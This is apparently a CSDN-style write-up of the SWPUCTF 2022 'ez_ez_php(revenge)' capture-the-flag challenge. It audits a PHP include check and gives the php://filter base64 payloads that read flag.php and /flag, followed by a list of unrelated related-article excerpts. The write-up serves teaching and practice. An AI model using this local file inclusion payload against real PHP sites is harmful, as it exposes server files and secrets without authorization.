php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)
打开题目
题目源代码如下
<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php
代码审计一下
首先检查是否存在名为 file 的 GET 参数
如果存在 file 参数,就用substr函数检查该参数值的前三个字符是否为 "php"
- 如果是的话,代码会输出 "Nice!!!",然后通过
include函数包含该参数所指定的文件。 - 如果不是以 "php" 开头,代码会输出 "Hacker!!"
- 如果
file参数不存在,则会显示当前文件的源代码。
很明显这里用php伪协议即可读取flag
payload
?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

得到提示
把payload换成
?file=php://filter/read=convert.base64-encode/resource=/flag

解码即可得到flag
NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}
知识点:
subsub函数
substr(string,start<,length>)
主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度
从string 的start位置开始提取字符串,length:待提取的字符串的长度
若length为以下情况时,返回整个字符串的所有字符
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度
具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客
相关文章:
php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)
打开题目 题目源代码如下 <?php error_reporting(0); if (isset($_GET[file])) {if ( substr($_GET["file"], 0, 3) "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }else {highlight_fi…...
1.1_1 计算机网络的概念、功能、组成和分类
文章目录 1.1_1 计算机网络的概念、功能、组成和分类(一)计算机网络的概念(二)计算机网络的功能(三)计算机网络的组成1.组成部分2.工作方式3.功能组成 (四)计算机网络的分类 总结 1.…...
pytorch中的各种计算
对tensor矩阵的维度变换,加减乘除等是深度学习中的常用操作,本文对一些常用方法进行总结 矩阵乘法 混合矩阵相乘,官网 torch.matmul(input, other, *, outNone) → Tensor这个方法执行矩阵相乘操作,需要第一个矩阵的最后一个维度…...
大数据技术之 Kafka
大数据技术之 Kafka 文章目录 大数据技术之 Kafka第 1 章 Kafka 概述1.1 定义1.2 消息队列1.2.1 传统消息队列的应用场景1.2.2 消息队列的两种模式 1.3 Kafka 基础架构 第 2 章 Kafka 快速入门2.1 安装部署2.1.1 集群规划2.1.2 集群部署2.1.3 集群启停脚本 2.2 Kafka 命令行操作…...
【GB28181】wvp-GB28181-pro部署安装教程(Ubuntu平台)
目录 前言1 安装依赖2 安装MySQL3 安装redis4 编译ZLMediaKit代码及依赖下载编译运行(如果要运行wvp整个项目,这步可以先不执行) 5 编译wvp-pro下载源码(建议从github上下载,gitee上维护有时候不是很同步)编…...
CentOS删除除了最近5个JAR程序外的所有指定Java程序
帮我写一个shell脚本,ps -eo pid,lstart,cmd --sort-start_time | grep "pgz-admin"查到的结果,返回的所有进程PID,第六个之上的,全部kill 当然,你可以创建一个简单的Shell脚本来完成这个任务。以下是一个例…...
面试redis篇-13Redis为什么那么快
Redis是纯内存操作,执行速度非常快采用单线程,避免不必要的上下文切换可竞争条件,多线程还要考虑线程安全问题使用I/O多路复用模型,非阻塞IOI/O多路复用模型 Redis是纯内存操作,执行速度非常快,它的性能瓶颈是网络延迟而不是执行速度, I/O多路复用模型主要就是实现了高效…...
python Matplotlib Tkinter--pack 框架案例
环境 python:python-3.12.0-amd64 包: matplotlib 3.8.2 pillow 10.1.0 版本一 import matplotlib.pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk import tkinter as tk import tkinter.messagebox as messagebox…...
连接未来:嵌入式系统在物联网时代的应用
连接未来:嵌入式系统在物联网时代的应用 随着物联网技术的不断发展,嵌入式系统在物联网时代扮演着至关重要的角色。嵌入式系统作为连接物理世界和数字世界的桥梁,为物联网的实现提供了技术支持和基础设施。以下将从几个方面探讨嵌入式系统在…...
自动驾驶中的障碍物时间对齐法
描述 自动驾驶算法使用的系统往往不是实时系统,因此每个节点间拿到的数据可能不是同一时间的数据,从而造成系统误差,针对这一现象,工程上往往采用时间对齐内插外推法。这里我们用感知障碍物来举例。 自动驾驶系统有许多重要模块…...
介绍 PIL+IPython.display+mtcnn for 音视频读取、标注
1. nn.NLLLoss是如何计算误差的? nn.NLLLoss是负对数似然损失函数,用于多分类问题中。它的计算方式如下:首先,对于每个样本,我们需要将其预测结果通过softmax函数转换为概率分布。softmax函数可以将一个向量映射为一个概率分布&…...
C语言中strstr函数的使用!
strstr函数的作用是什么? 查找子字符串 具体直接看下面的这段代码我相信你必明白 #define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> int main() { char *p1 "abcdefghijklmnopqrstuvwxyz"; char* p2 "abc"; char* r…...
Vue项目中,src目录下的vue.app文件介绍
在 Vue 项目中,src 文件夹通常包含了项目的核心代码。在这个文件夹下,App.vue 是一个特殊的文件,它代表了整个 Vue 应用的根组件。 App.vue 是一个单文件组件(Single File Component, 简称 SFC),它允许你将…...
【Android】坐标系
Android 系统中有两种坐标系,分别为 Android 坐标系和 View 坐标系。了解这两种坐标系能够帮助我们实现 View 的各种操作,比如我们要实现 View 的滑动,你连这个 View 的位置都不知道,那如何去操作呢? 一、Android 坐标…...
OSCP靶场--Slort
OSCP靶场–Slort 考点(1.php 远程文件包含 2.定时任务提权) 1.nmap扫描 ┌──(root㉿kali)-[~/Desktop] └─# nmap 192.168.178.53 -sV -sC -p- --min-rate 5000 Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-24 04:37 EST Nmap scan report for 192.168.178.53 …...
大数据职业技术培训包含哪些
技能提升认证考试,旨在通过优化整合涵盖学历教育、职业资格、技术水平和高新技术培训等各种教育培训资源,通过大数据行业政府引导,推进教育培训的社会化,开辟教育培训新途径,围绕大数据技术人才创新能力建设࿰…...
【Java程序设计】【C00313】基于Springboot的物业管理系统(有论文)
基于Springboot的物业管理系统(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的物业管理系统,本系统有管理员、物业、业主以及维修员四种角色权限; 管理员进入主页面,主要功能包…...
TensorFlow训练大模型做AI绘图,需要多少的GPU算力支撑
TensorFlow训练大模型做AI绘图,需要多少的GPU算力支撑!这个问题就涉及到了资金投资的额度了。众所周知,现在京东里面一个英伟达的显卡,按照RTX3090(24G显存-涡轮风扇)版本报价是7000-7500之间。如果你买一张这样的单卡…...
docker创建mongodb数据库容器
介绍 本文将通过docker创建一个mongodb数据库容器 1. 拉取mongo镜像 docker pull mongo:3.63.6版本是一个稳定的版本,可以选择安装此版本。 2. 创建并启动主数据库 容器数据卷配置 /docker/mongodb/master/data # 数据库数据目录(宿主机&am…...
Python并发编程:多线程-线程理论
一 什么是线程 在传统操作系统中,每个进程有一个地址空间,而且默认就有一个控制线程 线程顾名思义,就是一条流水线工作的过程(流水线的工作需要电源,电源就相当于CPU),而一条流水线必须属于一个…...
使用FCM进行编码解码Python实现代码
文章目录代码整体结构第 1 部分:生成二维合成数据固定随机种子means中心位置covs形状sizes点数生成数据裁剪到[0,1]第 2 部分:初始化隶属度矩阵为什么要按列归一化?这一步的意义第 3 部分:更新聚类中心第 4 部分:计算距离&#x…...
Android应用保活架构深度解析:突破系统限制的实战指南
Android应用保活架构深度解析:突破系统限制的实战指南 【免费下载链接】AndroidKeepAlive 2023年最新 Android 高可用黑科技应用保活,实现终极目标,最高适配Android 14 小米 华为 Oppo vivo 等最新机型 拒绝强杀 开机自启动 项目地址: http…...
保姆级教程:手把手教你用OpenCV复现ORB-SLAM2的ORB特征提取(附Python代码)
从零实现ORB特征提取:深入解析FAST关键点与BRIEF描述子的工程实践 在视觉SLAM领域,特征提取是构建整个系统的基石。ORB(Oriented FAST and Rotated BRIEF)作为兼顾效率与性能的特征描述方法,已成为实时SLAM系统的首选方…...
别再乱用OneHot编码了!用Pandas的get_dummies处理分类变量,这3个参数能帮你避开90%的坑
别再乱用OneHot编码了!用Pandas的get_dummies处理分类变量,这3个参数能帮你避开90%的坑 在数据科学项目中,分类变量的编码是特征工程中最容易被低估的环节之一。许多从业者习惯性地使用OneHotEncoder或简单调用pd.get_dummies(),却…...
第6章 交互方式与基础命令
OpenClaw支持3种交互方式,新手优先使用Web控制面板(可视化操作,最简单),熟悉后可使用TUI终端或聊天平台,按需选择。 6.1 TUI终端交互:命令行操作“龙虾” 启动OpenClaw后,终端会出现…...
如何用SQL按条件计算移动求和_结合CASE与窗口函数
能,但CASE必须嵌套在SUM()内;ROWS比RANGE更可控;ORDER BY需唯一或加辅助列;NULL需显式处理为0;索引和窗口范围影响性能。用 SUM() 窗口函数 CASE 实现条件移动求和直接说结论:能,但必须把 CASE…...
你的模型‘虚胖’了吗?聊聊PyTorch中可训练参数与总参数量的区别及优化思路
你的模型‘虚胖’了吗?聊聊PyTorch中可训练参数与总参数量的区别及优化思路 在深度学习模型开发中,我们常常会关注两个关键指标:总参数量(Params)和可训练参数量(Trainable Params)。这两个数字…...
别再只用平均值了!用Python的sklearn QuantileRegressor做分位数回归,预测区间更靠谱
分位数回归实战:用QuantileRegressor构建更可靠的预测区间 当我们在电商平台上预测下个季度的销售额时,传统线性回归给出的"平均预测值"往往让人心里没底——那些突然爆款的商品和滞销的长尾商品会让预测误差大得惊人。这时候,分位…...
一张“网”如何拯救生命?浅谈医疗系统集成平台iPaaS
2026年2月,一项覆盖12家美国医院的队列研究发表于《BMJ Quality & Safety》,揭示了一个令人警醒的事实:当一名住院患者的医疗档案被系统重复创建时,其院内死亡风险飙升近5倍,入住重症监护室的概率增加3.5倍&#x…...
Qwen3-0.6B-FP8基础教程:理解Safetensors权重格式与FP8_E4M3特性
Qwen3-0.6B-FP8基础教程:理解Safetensors权重格式与FP8_E4M3特性 1. 引言:为什么你需要了解权重格式和量化 如果你刚开始接触大模型部署,可能会被各种技术术语搞得一头雾水。权重格式、量化、FP8、Safetensors……这些词听起来很专业&#…...
